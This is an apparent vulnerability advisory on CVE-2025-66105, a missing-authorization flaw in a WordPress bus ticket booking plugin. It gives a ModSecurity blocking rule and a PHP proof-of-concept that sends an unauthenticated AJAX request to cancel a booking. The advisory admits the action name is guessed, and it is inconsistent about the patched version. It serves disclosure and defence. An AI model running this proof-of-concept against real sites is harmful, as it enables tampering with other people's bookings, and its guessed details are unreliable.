Atomic Edge analysis of CVE-2025-66105 (metadata-based): This vulnerability affects the Bus Ticket Booking with Seat Reservation plugin for WordPress in versions up to 5.6.8. It is a Missing Authorization vulnerability (CWE-862) with a CVSS score of 5.3, allowing unauthenticated attackers to perform an unauthorized action via a missing capability check on a function. The vulnerability has a low impact on integrity (no confidentiality or availability impact).
Root Cause: The plugin exposes a function (likely an AJAX handler or REST API endpoint) that lacks a capability check or permission verification. In WordPress, AJAX handlers are registered via ‘wp_ajax_’ and ‘wp_ajax_nopriv_’ hooks; the absence of a ‘current_user_can()’ or similar check on a nopriv handler allows unauthenticated access. Atomic Edge analysis infers that the vulnerable function does not verify user permissions before executing the action, as confirmed by the CWE-862 classification and the description stating ‘missing capability check’.
Exploitation: An attacker can trigger the unauthorized action by sending a crafted HTTP request to the WordPress AJAX endpoint. The plugin likely uses an AJAX action such as ‘bus_ticket_booking_with_seat_reservation_action’ (based on the plugin slug). The request targets ‘/wp-admin/admin-ajax.php’ with the ‘action’ parameter set to the vulnerable handler. Additional parameters may be required to perform the specific unauthorized action (e.g., modifying a booking or settings). Atomic Edge analysis cannot confirm the exact action name without source code, but a realistic PoC can target common patterns.
Remediation: The fix requires adding a capability check (e.g., ‘current_user_can(‘manage_options’)’ for admin actions, or a custom capability) before executing the vulnerable function. The plugin developer likely patched this in version 5.6.8 by implementing proper permission verification. Users should immediately update to version 5.6.8 or later.
Impact: Successful exploitation allows an unauthenticated attacker to perform a single unauthorized action, such as modifying a booking, changing settings, or accessing non-public data. The CVSS vector indicates no direct data exposure (C:N) or availability impact (A:N), but the integrity impact is low (I:L). The specific impact depends on the nature of the vulnerable function, but the low severity suggests non-critical data modification.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" "id:20256101,phase:2,deny,status:403,chain,msg:'CVE-2025-66105: Bus Ticket Booking with Seat Reservation - Missing Authorization via AJAX',severity:'CRITICAL',tag:'CVE-2025-66105'"
SecRule ARGS_POST:action "@rx ^bus_ticket_booking_with_seat_reservation_" "chain"
SecRule ARGS_POST:booking_id "@rx ^[0-9]+$" "t:none"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-66105 - Bus Ticket Booking with Seat Reservation < 5.6.8 - Missing Authorization
// Assumption: The vulnerable AJAX action is 'bus_ticket_booking_with_seat_reservation_update_booking'
// based on common plugin patterns and the 'Missing Authorization' CWE.
// The action may allow modifying booking details without authentication.
$target_url = 'http://example.com'; // Change this to the target WordPress site URL
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// Parameters for the unauthorized action (guessed based on common plugin functionality)
$params = array(
'action' => 'bus_ticket_booking_with_seat_reservation_update_booking',
'booking_id' => 1, // Example booking ID to modify
'status' => 'cancelled' // Example action: cancel a booking
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Content-Type: application/x-www-form-urlencoded',
'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
));
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "HTTP Status Code: " . $http_code . "n";
echo "Response: " . $response . "n";
